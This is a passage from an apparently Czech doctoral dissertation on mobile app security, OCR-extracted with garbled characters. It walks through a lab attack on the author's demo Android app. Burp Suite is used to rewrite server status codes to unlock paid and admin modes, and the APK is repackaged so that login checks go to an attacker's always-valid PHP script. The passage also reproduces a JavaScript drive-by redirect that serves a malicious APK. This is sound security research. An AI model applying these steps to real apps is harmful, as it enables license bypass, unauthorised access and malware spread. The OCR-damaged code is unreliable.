uzivatel nebyl ovéfen (jednd se o neluspéSny pokus o piihlaSeni). Uvedena
skutecnost vede k podezieni, ze se programator a spravce aplika¢niho serveru
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inspirovali stavovymi http kody. Informace uvedené v dokumentaci Request for
Comments 7235 v sekci 3.1 podezieni potvrdi:

“401 Unauthorized

The 401 (Unauthorized) status code indicates that the request has not been
applied because it lacks valid authentication credentials for the target resource...”
[138].

N
Lo /

_OiI[“’ PENETRATION
e TESTING

LABORATORY
PT LAB RQRATO

1. Burp Suite — prohlédnuti pozadavku

POST /check_credentials/index.php HTTP/1.1
userid=user-pentest&passwd=pass-pentest

N
0~|lo /
PENETRATION
ﬂ[[_‘? TESTING

LABORATORY

PT LAB

Server: Apache/2.4.18 (Ubuntu)  —
X-Powered-By: PHP/7.0.32-Oubuntu0.16.04.1
Content-Type: text/html; charset=UTF-8 ]

172.16.220.130
Unauthenticated User

- Server response: 401 - 401

2. Burp Suite — prohlédnuti odpovédi Ovéfovaci server

Obr. 4.97: Reakce mobilni aplikace a vzdaleného serveru na neplatné heslo [zdroj
viastni]

Zjisténé skuteCnosti naznacuji perspektivni smér utoku, kterym je podvrzeni
stavovych kodi nachazejicich se v odpovédich serveru. Jednou z moznosti, jak
takovy utok provest, je postupné zkouSeni vSech troj¢iselnych kodu:

e 0d 000 do 400,
e 0d 402 do 999.

Druhou moznosti je na zakladé dokumentace k http protokolu (pfedpoklad, ze
byl inspiraci k vySetfovanému aplikacnimu protokolu) otestovat kody, které se
nachazeji v sekci 10.2 Successful 2xx [139]:

e 200 OK,
201 Created,
202 Accepted,
203 Non-Authoritative Information,
204 No Content,
205 Reset Content,
206 Partial Content.
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Zména kodu z hodnoty ze 401 na 200 v odpovédi serveru, ktera byla zachycena
v Burp Suite, umoZnila plny ptistup do placené aplikace, viz obrazek 4.98.

Android Emulator - mm:5554

Full version

START TO USE BEST MAPS

Obr. 4.98: Ziskani plné verze programu podvrzenim kodu na hodnotu 200 [zdroj
viastni]

Podvrzeni kédu na hodnotu 201, mélo stejny vysledek jako kod 401, tj. uZivatel
nebyl ovéfen. Prepsani kodu na hodnotu 202 vedlo ke spuSténi aplikace
v privilegovaném reZimu, ktery tvirci mobilni aplikace pouzivali k ladéni
pokrocilych funkci. Vysledek utoku je zachycen na obrazku 4.99.

Android Emulator - mm:5554

Administrator MODE

START TO USE BEST MAPS

Obr. 4.99: Spusteni administratorského modu programu pomoci kédu s hodnotou 202
[zdroj viastni]
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Ptepsani kodl v odpovédich serveru na hodnoty 203, 204 a 205 nevedlo ke
spusténi chranéné Casti aplikace, z ¢ehoZ plyne, Ze jsou uvedené kody neplatne.
Ptepsani kodu z hodnoty 401 na hodnotu 206, spustilo aplikaci v demonstracnim
rezimu s omezenymi funkcemi. Situace je zobrazena na obrazku 4.100.

Android Emulator - mm:5554

Demo mode

START TO USE BEST MAPS

Obr. 4.100: Spusteni demo modu aplikace podvrzenim kédu na hodnotou 206 [zdroj
viastni]

Z vyse uvedené ukazky je zfejmé, Ze bezpecnostni mechanismus dané aplikace
byl pfekonan. Naznaceny postup neptedstavuje jediny zplsob, jak utok provést.
Dal§i moznosti je zachyceni poZadavku sméfujiciho z mobilni aplikace na
piislusny server. Z poZadavku je vytvotfena Sablona pro Utok na vzdaleny server.
Na obrazku 4.101 je vidét, ze v programu Burp Suite lze Sablonu zhotovit
v modulu Intruder. Na zakladé struktury Sablony by vybran typ utoku Cluster
bomb. Pro tutok lze zvolit payload, ktery se nachazi v externich souborech.
Uvedené soubory hraji vyznamnou roli v celé fadé atoki. Utoénici si je peélivé
buduji a na zékladé svych zkuSenosti je dale rozviji. Jednim z vyznamnych
externich soubort jsou takzvané slovniky, které se pouZivaji pro stejnojmenny
utok. Z mobilni aplikace byla na zakladé pozadavkll vytvofena Sablona.
V nasledujici ¢asti je utok veden pouze proti aplikaénimu serveru. Burp Suite
postupné vybira data z externich souborti, vklada je do dotazli vytvotenych podle
Sablony, posil4 je na server a uklada ptisluSné odpovédi.
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@ @ @ Burp Suite Free Edition v1.7.27 - Temporary Project

Burp Intruder Repeater Window Help

Decoder T Comparer T Extender T Project options T User options T Alerts
Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer
1 %[22
[Ta rget I Positions I Payloads I Options ]
12) Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The
attack type determines the way in which payloads are assigned to payload
positions - see help for full details.

Attack type: | Cluster bomb v

Content-Length: 39 x Add §
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; Android SDK built L

for x86 Build/KK) Clear §

Host: 172.16.220.130

Connection: close %
Accept-Encoding: gzip, deflate Refresh
userid=§user-pentest§&passwd=§pass-pentests )
v
? < || + || = | |Type a search term 0 matches Clear
2 payload positions Length: 335

Obr. 4.101: Zachyceni pozadavku a vytvoreni Sablony utoku proti aplikacnimu serveru
[zdroj viastni]

Na obrazku 4.102 jsou vidét vysledky dotazli, tj. odpovédi, které zaslal
aplikacni server. Vysledky lze snadno filtrovat a hledat v nich klicové fetézce.
Naptiklad 200, 201, 202, 203, 204, 205 a 206. Z vySe uvedené demonstrace ttoku
vyplyva nutnost chranit data, kterd jsou pienaSena mezi mobilni aplikaci a
serverem. Pro skute¢né efektivni ochranu komunikace by méli mit mobilni
vyvojafi informace o moZnostech moderniho Uto¢ného software. Pokud jsou
napiiklad komunikaéni data chranéna pouze pomoci HTTPS, nejsou v bezpeci:

“If the application employs HTTPS, Burp breaks the SSL connection between
your browser and the server, so that even encrypted data can be viewed and
modified within the Proxy.” [140]

Tedy, 1 kdyZ mobilni aplikace chrani sva data pomoci HTTPS protokolu, Ize je
prohliZet a modifikovat tak, jak bylo popsano vyse.
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(] Intruder attack 1

Attack Save Columns

J Results I Target I Positions I Payloads I Options ]

@)

‘ Filter: Showing all items

Request Error Timeout Comment

78 2bc259baeeb72a98fh1799e395f91...
79 0742468ef61bcb36beclfff42f259b74

Payloadl | Payload2

de5b0c6586f9854d7d234f9e15dd8...
de5b0c6586f9854d7d234f9e15dd8...

| Length

212
212

A

c43fa08cba9db3b62c4b9fee9eade’ ...
4229c2aadd278a9999%aae8abl19e3...
e09448f09c6853958a4c15de2ceb9...
d046406f2b81c014f9f4633eadd2b...
5959459bd4c6d09chd5a0ca29bb4e...
2a87dd21094ccd1404dedfcfc2e594...

de5b0c6586f9854d7d234f9e15dd8...
fb06acec3179b97e84562h2e61f1d...
fb06acec3179b97e84562b2e61f1d...
fb06acec3179b97e84562b2e61f1d...
fb06acec3179b97e84562hb2e61f1d...
fb06acec3179b97e84562b2e61f1d...

0o00gdoooc

0oodoooc

212
212
212
212
212

212
J

Request | Response

Raw | Headers I Hex

HTTP/1.1 200 OK

Date: Mon, 28 Jan 2019 20:18:52 GMT
Server: Apache/2.4.18 (Ubuntu)
X-Powered-By: PHP/7.0.32-0ubuntu0.16.04.1
Content-Length: 3

Connection: close

Content-Type: text/html; charset=UTF-8

202

? < + > | | Type a search term

7>

4

v

0 matches

Finished £

~|

Obr. 4.102: Ukdzka uspésného utoku, zachyceni kodu 202 [zdroj viastni]

Server Authentication Redirecting

Utok typu Server Authentication Redirecting se snaZi prekonat bezpe&nostni
ovéfovani, které neprobiha v mobilni aplikaci, ale na vzdaleném serveru. Utok je
zaloZen na myslence, ze v ur€itych ptipadech je vhodnégjsi misto boje s legitimnim
severem upravit mobilni aplikaci tak, aby bylo ovéfovani pfesmérovano na
toénikiv server. Upravy kodi béZicich na serveru uto¢nika jsou ¢asto mnohem
jednodussi nez Uutoky na legitimni sever stymz cilem. Oddil Server
Authentication Redirecting navazuje na oddil Reverzovani aplikacniho protokolu,
proto je pouZita stejnd demonstracni aplikace BestMaps7-PTLab.apk. Na obrazku
4.103 je zobrazen bezpeCnostni mechanismus, ktery aplikace BestMaps7-
PTLab.apk vyuZziva k ovéfeni uzivatelského jména a hesla. Uzivatel zada sve
piihlasovaci idaje do textovych poli strazni aktivity. Po stisknuti tla¢itka LOGIN
jsou udaje odeslany na aplika¢ni server, ktery je ovéfi pomoci webové aplikace
nachazejici se na adrese: 172.16.220.130/check credentials/index.php (viz vypisy
v ptedchozim oddilu). Jsou-li uZivatelské tidaje validni, odesle server do aplikace
kod 200 (plnohodnotny rezim aplikace), 202 (administratorsky mod aplikace)
nebo 206 (demo rezim), podle typu uzZivatelského uctu. Nejsou-li ptihlaSovaci
udaje platne, server odesle do aplikace kod 401. Mobilni aplikace na zaklad¢
obdrZen¢ho kodu spusti nebo nespusti aplikaci v jednom ze ti reZima.
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Prihlasovaci Gdaje jsou ovéreny serverem

Android Emulator - TestDevice:5554

Sl 422

\
o‘llo /
PENETRATION
B F TESTING

LABORATORY
PT LAB

Android Emulator - TestDevice:5554

NE e
Bylo ovéreni
Uspésné?

Opétovnd vyzva k zadani pfihlasovacich udaja

Je spusténa chranénd/placena ¢ast aplikace

START TO USE BEST MAPS

Obr. 4.103: Overovani prihlasovacich udajii je obsluhovano serverem [zdroj viastni]

Schéma utoku je naznaceno na obrdzku 4.104. V kdédu mobilni aplikace byla
adresa ovefovaciho serveru presmérovana na server, ktery patii ito¢nikovi. Byla
zménéna pouze adresa serveru, zbytek kodu je beze zmény.

Android Emulator - TestDevice:5554

PfihlaSovaci Gidaje jsou odeslany na server utocnika

Sl 4:27

Ovéreni je vidy GUspésné

q
0~"~o /
PENETRATION
ﬂ [r_é) TESTING

LABORATORY
PT LAB

Android Emulator - TestDevice:5554

il 4:24

Je spusténa chranéna/placend &ast aplikace

START TO USE BEST MAPS

Obr. 4.104: Schéma utoku Server Authentication Redirecting [zdroj viastni]

Aby bylo mozZzné prepsat adresu serveru, je nutné ji nejprve lokalizovat ve
zdrojovém kodu jazyka Java, proto byla provedena dekompilace typu 1, ktera
transformuje APK bali¢ek na JAR soubor:

Jdex2jar.sh BestMaps7-PTLab.apk
Soubor BestMaps7-PTLab-dex2jar.jar byl otevien v Java Decompileru, kde

byla nalezena klicova Cast kodu.
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Klicova cast zdrojového kodu MainActivity.class obsahujici adresu
ovéfovaciho serveru:

protected String doInBackground(String... paramVarArgs)
{
String str = paramVarArgs|[0];
paramVarArgs = paramVarArgs[1];
try
{
this.downloadResultPost = new
HTTPPostRequest(MainActivity.this.addressOfRequest, "usend-“ + str + "&passwd=" +
paramVarArgs).makeRequest();

return null;
}
catch (Exception paramVarArgs)
{
for (;;)
{
Log.d("MMMM", "doInBackground: " + paramVarArgs.toString());
}
}

}

Analyzou vySe uveden¢ho kodu byl zjisténo, Ze se hledand adresa nachazi
v proménné MainActivity.this.addressOfRequest. Nyni, kdyZ bylo lokalizovano
kli¢ové misto kodu, je mozné provést jeho editaci v jazyce Smali. Nastrojem
APKTool byla provedena dekompilace druhého typu, ¢imz byly ziskany kody
jazyka Smali, které jsou editovatelné:

java -jar apktool.jar d BestMaps7-PTLab.apk

V souboru MainActivity.smali byla nalezena ¢ast kodu, ktera se tyka proménné

MainActivity.this.addressOfRequest:

const-string v1, "/check_credentials/index.php"

invoke-virtual {v0, vi}, Ljaval/lang/StringBuilder;-
>append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
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move-result-object v0

iput-object V0, p0, Lcz/utb/fai/lbestmaps7_ptlab/MainActivity;-
>addressOfRequest:Ljava/lang/String;

Vkoédu  jazyka  Smali byl nahrazen tadek  const-string  vl,
"/check credentials/index.php" fadkem const-string vl,
"/fake checking/always valid.php". Upraveny soubor MainActivity.smali byl
uloZen. V dalSim kroku byl vytvofen APK balicek:

java -jar apktool.jar b BestMaps7-PTLab -0 BestMaps7-PTLabHACKED.apk

APK bali¢ek byl faleSné¢ podepsdn a nainstalovan do mobilniho zatfizeni.
Posledni, co musi Gto¢nik provést, je vytvoreni PHP skriptu a jeho umisténi na
adresu

http://172.16.220.130/fake checking/always valid.php.

Utoénik potiebuje, aby skript za viech okolnosti (bez ohledu na uzivatelské
jméno s heslo) vracel kod 200. PHP kod miZe byt naprosto trivialni:

<?php
echo '200";
>

Umisténim skriptu na odpovidajici adresu je utok dokonéen. Upravena mobilni
aplikace spusti svoji chranénou ¢ast vSem uzivatelim. Ve vySe uvedené ukazce
byla nahrazena cast adresy, tj.: fake checking/always valid.php, protoZze
legitimni 1 nelegitimni skript se nachazel na stejném serveru. Pfi skuteCném ttoku
by bylo nutné nahradit i IP adresu serveru. Proménna this.addressOfRequest
(datovy typ je String) se sklada ze tii Casti, tj.:

e protokol,
e [P adresa,
e cesta k PHP skriptu.

Jednou z moznosti je vloZeni prazdnych fetézci do prvnich dvou ¢asti a
nahrazeni tfeti Casti fetézcem

"http://AAA.BBB.CCC.DDD/fake checking/always valid.php".

Vysledky této Casti dizertani prace naznacuji, Ze kompromitovana sitova
komunikace mobilnich aplikaci je nebezpecnou oblasti, ve které mohou byt
napachany velkeé Skody, protoZe utok miize byt veden proti serveru 1 proti mobilni
aplikaci:

e Utoky na server:

180



o zneuZiti zachycenych ptihlasovacich udajf, které jsou platné na
serveru,

o ziskani Sablony pro slovnikovy utok nebo utok typu brutal force
apod.,

e utoky na aplikaci

o ziskani pfistupu do chranénych ¢asti aplikace pomoci
modifikace/podvrZzeni odpovédi ze serveru,

o ovliviiovani chovani mobilni aplikace prostfednictvim modifikace
odpovédi,

o zneuziti neoSetfenych vyjimek pomoci zamérné chybné
strukturovanych odpovédi,

o odposlechy API identifikatord, hesel, cennych informaci, ktere
mobilni aplikace odesild nebo piijima,

o atd.

Zabezpeceni sitové komunikace by méla byt vénovana velka pozornost, nebot’
v soucasné dob& existuje velké mnozstvi mobilnich aplikaci, které¢ funguji
zpusobem, ktery byl popsan v uvodu oddilu 4.6.4 Utoky na sitové zabezpedeni
mobilnich aplikaci. Mobilni vyvojafi by si méli byt védomi skuteCnosti, Ze
komunikace mezi jejich aplikaci a vzdalenym serverem neni ve vychozim stavu
nijak zabezpecena. Samotné komponenty mobilnich aplikaci nemaji zabudovany
zadny typ ochrany, ktery by se staral o bezpecnost sitové komunikace. To
znamena, Ze by se sami programatoii méli aktivné snazit zabezpecit komunikaci
mezi svou aplikaci a serverem. Vzhledem k rozsahlosti a komplexnosti dane
problematiky by se mobilni vyvojafi méli vyhnout vlastnim navrhim
zabezpeceni, protoze:

e je velkd pravdépodobnost vyskytu zavaznych bezpecnostnich chyb,

e jejich vytvareni a bezpecnostni testovani prodrazuji vyvoj.

Z vySe uvedenych divodd je vhodng§i, aby aplikacni programatoii
zabezpecCovali své programy pomoci standardnich technologii, které jsou
poskytovany ve formé& knihoven ¢i tfidy. Jakmile je vyvojati naimportuji do svych
programil, mohou je zacit vyuZivat pro vSechny ¢innosti vyZadujici zabezpeceni.
Tyto bezpecnostni technologie vyvijeli a testovali rozsadhlé tymy vyvojari a
analytikt, naptiklad:

e HTTPS,

e SSH,

e VPN,

e Sifrovani pomoci modernich kryptografickych algoritmii s bezpecnymi

klici,

e dvoufaktorové oveéieni,

e atd.

VySe uvedené bezpeCnostni mechanismy maji své limity a programatofi
mobilnich aplikaci by je méli respektovat, viz napiiklad moznost HTTPS
kompromitace béhem analytického utoku, ktera byla popsdna v oddile 4.6.4
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Utoky na sitové zabezpeteni mobilnich aplikaci (&ast, kterd se zabyva
Reverzovani aplika¢niho protokolu).
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5. MOBILNI MALWARE

Problematiku bezpecnosti mobilni platformy lze rozd¢€lit na dvé hlavni oblasti.
Prvni se tyka bezpecnosti mobilnich aplikaci, ktera byla nastinéna v kapitole 4. V
kapitole 5 je popsana druha oblast, kterou tvofi mobilni malware zneuZzivajici
bezpecnostni chyby v uzZivatelskych aplikacich a operacnich systémech. Obé
uvedené oblasti spolu Gzce souvisi. Nebot’ mobilni malware se ¢asto zamétuje na
aplikace obsahujici zavazné bezpecnostni chyby. K tspéchu malwaru pfispiva i
skupina takzvanych zndmych bezpecnostnich chyb, které se opaku;ji, nebot’ se jich
dopoustéji programatofi s nizkym bezpecnostnim povédomim. Mobilni aplikace,
které jsou bezpecné navrzené, pouZzivaji moderni bezpecnostni technologie, které
jsou korektné naimplementovany, vyrazné minimalizuji riziko jejich zneuZziti
prostfednictvim malwaru. Na druhou stranu eliminace vyskytu samotného
malwaru sniZuje riziko napadeni mobilnich aplikaci timto malwarem.

5.1 Analyza mobilniho malware

Analyza mobilniho malwaru umozZnila pochopeni principil jeho ¢innosti. At uz
se jednalo o anatomii Utokidl na legitimni aplikace, zneuzivani hardwarovych
moduli, jako je GPS ¢&i fotoaparat nebo zneuzivani mobilnich zatizeni jako celku,
napiiklad pro DDoS pomoci vldken bézicich na pozadi. Vyzkum chovani
moderniho mobilniho malwaru byl nezbytny, nebot’ je nedostatek komplexni
odborné literatury, ze které by mohla byt problematika studovana. Vysledky
ziskané v analytické ¢asti vyzkumu byly klicové pro navrh G€inného detekéniho
mechanismu mobilniho malwaru pomoci neuronovych siti.

5.1.1 Ziskavani a identifikace vzorka mobilniho malware

Pro zahgjeni Givodni faze vyzkumu bylo nejprve nutné ziskat funkéni vzorky
sou¢asného mobilntho malware. Vzorky mobilniho malware, které¢ byly
zkoumany v ramci dizertani prace, byly ziskdny vyhledavanim podezielych
APK balicku na file share serverech a pomoci aktivace metody webové infekce.
Dalsi skupina analyzovanych vzorki byla ziskdna od spolecnosti AVG
Technologies CZ (podrobnosti jsou uvedeny v oddile Spoluprace s AVG
Technologies CZ).

Pro sbér prvni skupiny vzorki podezielych APK aplikaci byly vyuzity file
share servery. Nejprve byly vyhledavany vSechny soubory, které obsahovaly
posloupnost znakli ,,apk®. Nasledné byl vybér ziZen doplnénim filtranich
parametrll. V nazvech APK balic¢kll byla vyhledavana kli¢ova slova:

,full®,
,,premium®,
,»pro®,
,,cracked®,
,,unlocked*
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e nazvy znamych placenych her (naptiklad Machinarium),
e apod.

Do vybéru byly rovnéz zahrnuty APK balicky, které byly néjakym zpiisobem
anomalni. Napfiklad APK aplikace o velikosti v fadu megabajtii, které mély
stejny nazev jako filmy dostavajici se v dobé vyzkumu do filmové distribuce. Pro
sbér druhé skupiny vzorkll byla pouzita metoda webové infekce, kterou pro své
Sifeni vyuziva mobilni malware:

<body onload="weblnfection()">
Pti nacitani infikované webové stranky (nejCastéji se jednalo o stranky se

sexualnim obsahem nebo vyhleddvace torrentll) se zavola infekéni funkce
weblnfection() napsana v JavaScriptu:

function weblnfection()

{
var ua = navigator.userAgent.toLowerCase();
var isAndroid = ua.indexOf("android") > -1;
if(isAndroid)
{
window.location.href =
‘http://Iwww.infectedweb.cz/testing/android_download/paid_game_for_free.apk’;
}
else
{
Il JINE OS
}
}

Funkce weblnfection() si pfecte User-Agent hlavicku HTTP protokolu a zjisti,
zda byl HTTP pozadavek poslan z mobilniho weboveého prohlizece. Pokud je
podminka vyhodnocena jako pravdiva, uzivatel si prohlizi webovou stranku
prostfednictvim mobilniho zafizeni. V takovém piipad€ nabidne stranka uzivateli
stazeni n&jakého instalacniho souboru, ktery by mohl byt pro ngj zajimavy. Na
strankach se sexudlnim obsahem jsou ¢asto v ndzvu instalatoru slova jako player
nebo free, kterd slibuji ptfistup do placenych video repositaiti zdarma, naptiklad
free_porn_player, super player a podobné. Webove stranky specializujici se na
vyhledavani torrentti nabizeji mobilni aplikaci na pohodlné vyhledavani torrenti,
ktera je Casto infikovana apod. Funkce weblInfection() obvykle vygeneruje ptimy
odkaz na stazeni placenych mobilnich programi a her. Nékdy funkce vygeneruje
1 stranku obsahujici faleSnou diskusi o tom, jak je dany program skvély a
doporuceni od spokojenych uzivateld, které ma navstévniky webu motivovat ke
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staZeni a instalaci. Rekonstrukce weboveho infekéniho mechanismu je zachycena
na obrazku 5.1.

1101101101011
101001
110110100011

Editor

Link: vOQ
http://www cz/testing/
android_download/
paid_game_for_free.apk

Name: (1.17m/3.32g)

paid_game_for_free.apk

CANCEL START

Obr. 5.1: Mechanismus weboveé infekce mobilnich zarizeni [zdroj viastni]

Vyse popsany mechanismus webove infekce byl pouzit ke sbéru vzorki
mobilniho malwaru. Ve virtualizovaném osobnim pocita¢i byl nainstalovan
webovy prohlize¢ Chromium se specidlnim nastrojem User-Agent Switcher
slouzici k padélani identity pomoci hlavicek HTTP protokolu. V upraveném
prohliZze¢i bylo nastaveno podvrhovani identity mobilniho zafizeni Samsung
Galaxy S3 a byl pouzivan k prohlizeni webovych stranek, u kterych byl
predpoklad, Ze mohou obsahovat mechanismus webové infekce.

Jakmile byla nashromdzdéna dostate¢né velkd mnoZina vzorki mobilnich
aplikaci, bylo nutné identifikovat skute¢ny malware a odd¢lit ho od agresivné
distribuovanych mobilnich aplikaci. K tomuto ucelu byl pouzit Virus Total [175],
ucinny detekéni nastroj s webovym uZivatelskym rozhranim. Zakladni
identifikace, zda je testovany vzorek malware ¢i nikoliv, je k dispozici vSem
bezpe¢nostnim vyzkumnikiim zdarma. Na obrazku 5.2 je zachycena analyza
ziskaného vzorku PolyVideo main 2015927 mugua.apk, ktery piedstavuje
velmi nebezpecny mobilni malware. Situace je vaznéjsi, nebot’ z analyzy vyplyva,
Ze kompromitovany malware zneuziva opravnéni:

e com.android.launcher.permission.UNINSTALL SHORTCUT (opravnéni
muize byt zneuzito pro maskovani malware v mobilnim zafizeni, Fake
Update).

e android.permission.READ PHONE STATE (zajisti pfistup ke stavu
telefonniho subsystému vcetné telefonniho ¢isla a informaci spojenych
s celularni siti, identitu ptichozich a odchozich hovori).

e com.android.launcher.permission.INSTALL SHORTCUT (opravnéni
muize byt zneuzito pro maskovani malware v mobilnim zafizeni, Fake
Update).

e android.permission.SYSTEM ALERT WINDOW (umozZnuje aplikaci
vytvaret okno, které se miize tvarit jako systémova zprava. To mlze béZné

185



uzivatele zmast a mize je piimét udélat kroky, které vedou k hlubsi
integraci malwaru do systému).

e android.permission. ACCESS NETWORK STATE (sledovani stavu
pfipojeni, vhodné pro mobilni botnety, ziskavani fidicich ptikazii pro
jednotlivé boty).

e android.permission.GET TASKS (pomoci opravnéni mize mobilni
malware sledovat v systétmu chod obrannych prostiedkd, jako jsou
antivirové programy, a vytvafret vlastni opatfeni znesnadiiujici jejich
detekci).

e android.permission.INTERNET (pro odesilani odcizenych dat).

e android.permission. WRITE_EXTERNAL STORAGE (umoziuje
modifikaci a mazani dat v externi perzistentni paméti mobilniho zatizeni,
vhodné pro ransomware).

e android.permission.GET ACCOUNTS (umoziuje ptistup k uzivatelskym
uctim).

Z vyse uvedenych vysledki analyzy PolyVideo main 2015927 mugua.apk

vyplyva, Ze jde o idedlniho kandidata pro podrobné vySetieni.

7] total

SHA256: 3388bBaBec 78b5102193e4c dBa564dfaSaffdfa58922b9ab749ddad0072921a3
File name: PolyVideo_main_2015927_mugua.apk :

- - =
Detection ratio:  31/56 ‘r 0 O

Analysis date 2016-01-18 12:29:55 UTC ( 2 tydny, 1 den ago )

= Analysis @ File detail © Additional information ® Comments o Q) Votes i Behavioural information

Antivirus Result Update
AVG Android/Deng.PDN 20160118
AVware Trojan.AndroidOS.Generic. A 20160111
Ad-Aware Android.Riskware. Agent. gXAMO 20160118
AegisLab Sprovider 20160118
AhnLab-V3 Android-PUP/Hidap.ffb5 20160118
Alibaba A.H.Rog.LoadAlert 20160118
Antiy-AVL GrayWare[AdWare:not-a-virus, HEUR]/Android. Sprovider.5 20160118
Arcabit Android.Riskware. Agent. gXAMO 20160118
Avast Android: Dropper-EM [PUP] 20160118
Avira ANDROID/Dropper.Agent. BE.Gen 20160117
Baidu-International Adware.AndroidOS. Sprovider.e 20160118

BitDefender Android.Riskware

gent. gXAMO 20160118

Obr. 5.2: Vysledek analyzy vzorku PolyVideo main 2015927 mugua.apk [zdroj
viastni]

5.1.2 VySetrovaci metody ziskanych vzorki mobilniho malwaru

Vzorky APK aplikaci, které byly identifikovany jako mobilni malware, byly
vySetfeny pomoci metod popsanych v pododdilech 4.3 Ru¢ni dynamické analyza,
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4.4 Rucni staticka analyza, a 4.5 Automatizované vysetrovani. Vysledky analyzy
provedené pomoci Virus Total byly alarmujici. Z 34 ziskanych vzorka bylo
infikovano vSech 34 vzorkill. Nékteré vzorky malware mély kod chranény pomoci
obfuskace - metody, ktera pievadi zdrojovy kod mobilni aplikace do upraveného
zdrojového kodu stejného jazyka. Z pohledu funkcionality jde o stejny kod, ktery
se velmi Spatné Cte a staticky analyzuje. Po obfuskaci je kod potrad ¢itelny pomoci
nastrojii dex2jar a Java Dekompileru, ale jeho cteni je velmi nepfijemné a
zdlouhavé. To znamend velkou casovou investici, ktera mulze bezpecnostni
analytiky odradit od podrobného zkoumdani uUtoénych mechanismii daného
malware. Obfuskaci lze vyuZivat ke zvySeni bezpecnosti, ale 1 k jejimu ohroZeni:

e tviirci legitimniho mobilniho softwaru pouZivaji obfuskaci pro znesnadnéni
utokt (zejména analytické casti, ve které UtocCnici hledaji chyby v
zabezpeceni) na jejich aplikace,

e tvlrci mobilniho malwaru pouZivaji obfuskaci, aby znesnadnili analyzu
jejich Skodlivého softwaru, kterd by mohla vést k jeho odhaleni.

Techniky, které pouzivaji obfuskatory:

e (Qdstranéni komentaii a dokumentace uvniti zdrojovych kodu.

e Naruseni piehledného formatovani kodu vymazanim veSkerych
formatovacich a oddélovacich znakt urcenych pouze pro programatory.

e Piejmenovani nazvi balickt, ttid, metod, proménnych a konstant, které
odstrani samovysvétlujici ndzvy jako naptiklad password. Misto toho jsou
ttidy pfejmenovany na a az z. Je-li potfeba pfejmenovat vice tfid, pouZzivaji
se nazvy jako aa, ab a podobné. Nazvy metod, proménnych a konstant jsou
pfejmenovany stejné. To ma za nasledek, zZe nazvy jako aa a a.a vypadaji
podobné, ve skuteCnosti jde o zcela rozdilné programové konstrukty.
V prvnim ptipadé jde o nazev tfidy, metody, promeénné nebo konstanty. Ve
druhém piipad€ jde o volani metody a tfidy a. Navic aa a aa mohou
v riznych ¢astech kodu predstavovat néco jiného. Jednou miize jit o lokalni
proménnou, jindy muiZe jit o instanci tiidy.

e Rozd€leni jednoho fetézce na vice ¢asti. Naptiklad zprava “Update process
has been completed.” mlize byt rozdélena do tii samostatnych pseudo tiid
a,bac.V kazdé ttridé bude kromé samotcelného kodu pouze jedna uZitecna
vefejna metoda a (getter), kterd bude vracet odpovidajici ¢ast zpravy. Ttida
d vytvofi instance tfid a, b a ¢, zavola jejich metody a, a tim vrati celou
zpravu, ktera pak mize byt zobrazena uzivateli (naptiklad jako Cast Fake
Update).

e Odstranéni R.class, znesnadni analyzu zdroji mobilnich aplikaci jako
XML layouty uzZivatelského rozhrani a podobné.

V nasledujici ¢asti oddilu 5.1.2 VySetfovaci metody ziskanych vzorkl
mobilniho malwaru je detailné popsan pribéh vySetfovani podezielého APK
balicku. VySetfovani bylo provedeno na skute¢ném vzorku malwaru
com.system.main.apk, jehoz koéd je chranén obfuskaci. Malware byl ziskan diky
vyzkumné spolupraci se spolecnosti AVG Technologies CZ. VysSetfovani
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malwaru je komplexni proces, jehoZ metody na sebe zpravidla navazuji. Vysledky
jedné metody umozni aplikaci dalsi vySetfovaci metody. Pokud by byly jednotlivé
metody demonstrovany oddélenég, bylo by velmi tézké je zatadit do celkového
kontextu vysetfovani vzorkdl mobilniho malwaru a pochopit tak jejich vyznam ve
vySetfovacim procesu. Z uvedeného ditvodu je vySetfovani popsano jako celek,
pficemz jsou naznaCena kliCova mista analyzy mobilniho malware:

e hledani Entry Pointu,
hledani GUI Entry Pointu,
rekonstrukce klicového XML layoutu podeziel¢ aplikace,
mechanismus faleSnych jmen mobilniho malware,
analyza obfuskovanych kédl pomoci Java Decompileru,
ziskani a analyza opravnéni,  jez malware poZaduje
prostfednictvim souboru AndroidManifest.xml,

e rekurzivni vyhledavani kli€ovych vyrazl uvnitt struktury tfid jazyka Java,

e restaurovani poskozenych casti kodl malwaru,

e rozhrani pro kontrolované testovani zrestaurované funkcionality malware.

Jednim z nejCastéjSich problémi, kterym cCeli bezpe€nostni analytik
v souvislosti s vySetfovanim obfuskovanych aplikaci, je neptfitomnost R.class pii
hledani Entry Pointu mobilni aplikace. Z tohoto divodu je popsan jeden
z moznych zplsobl rekonstrukce informaci z chybé&jici R.class. Prvni ¢ast se
neliSi od procesu hledani Entry Pointu, jak bylo popsano v pododdile Rucni
statickd analyza. Pomoci nastroje APKTool je provedena dekompilace
vySettovaného  balicku ~ com.system.main.apk. = Otevie = se  soubor
AndroidManifest.xml, ktery byl ziskdn dekompilaci. Nasledné se prochazi
vSechny elementy aktivity, dokud neni nalezen element, ktery obsahuje ptiznaky
MAIL a LAUNCHER, viz obrazek 5.3.

<activity android:label="@string/app_name" android:name="com.system.main.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

Obr. 5.3: Nalezeni vstupni aktivity malwaru [zdroj viastni]

Nasledné¢ je provedena dekompilace typu 1, pii které je preveden APK balicek
testovaného malwaru pomoci programu Dex2jar na JAR soubor. Prevedeny
soubor je otevien v Java Decompileru, ktery umoznuje ¢teni kodi napsanych
v jazyce Java. V dal§im kroku se v souboru com.system.main.apk-dex2jar.jar
otevie MainActivity. V ni se vyhledda metoda onCreate. Ve tfidé MainActivity se
vyhledd volani setContentView. V tomto vySetfovani ma setContentView
identifikator 2130903041 (setContentView(2130903041)). V neobfuskovaném
kodu by bylo mozné najit prisluSny XML layout pomoci identifikatoru
2130903041 piimo v R.class. To neni v obfuskovaném koédu mozné, protoze
obfuskatory, jako je naptiklad ProGuard [141], umoziuji Uplné odstranéni
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R.class. Informace z R.class jsou pomoci nastroje aapt vkladany do souboru
resources.arsc. Bezpe€nostni analytik, ktery je obeznamen s timto mechanismem,
muZe provest pomoci nastroje aapt rekonstrukci dat ptivodné ulozenych v R.class
Z TeSOUrces.arsc:

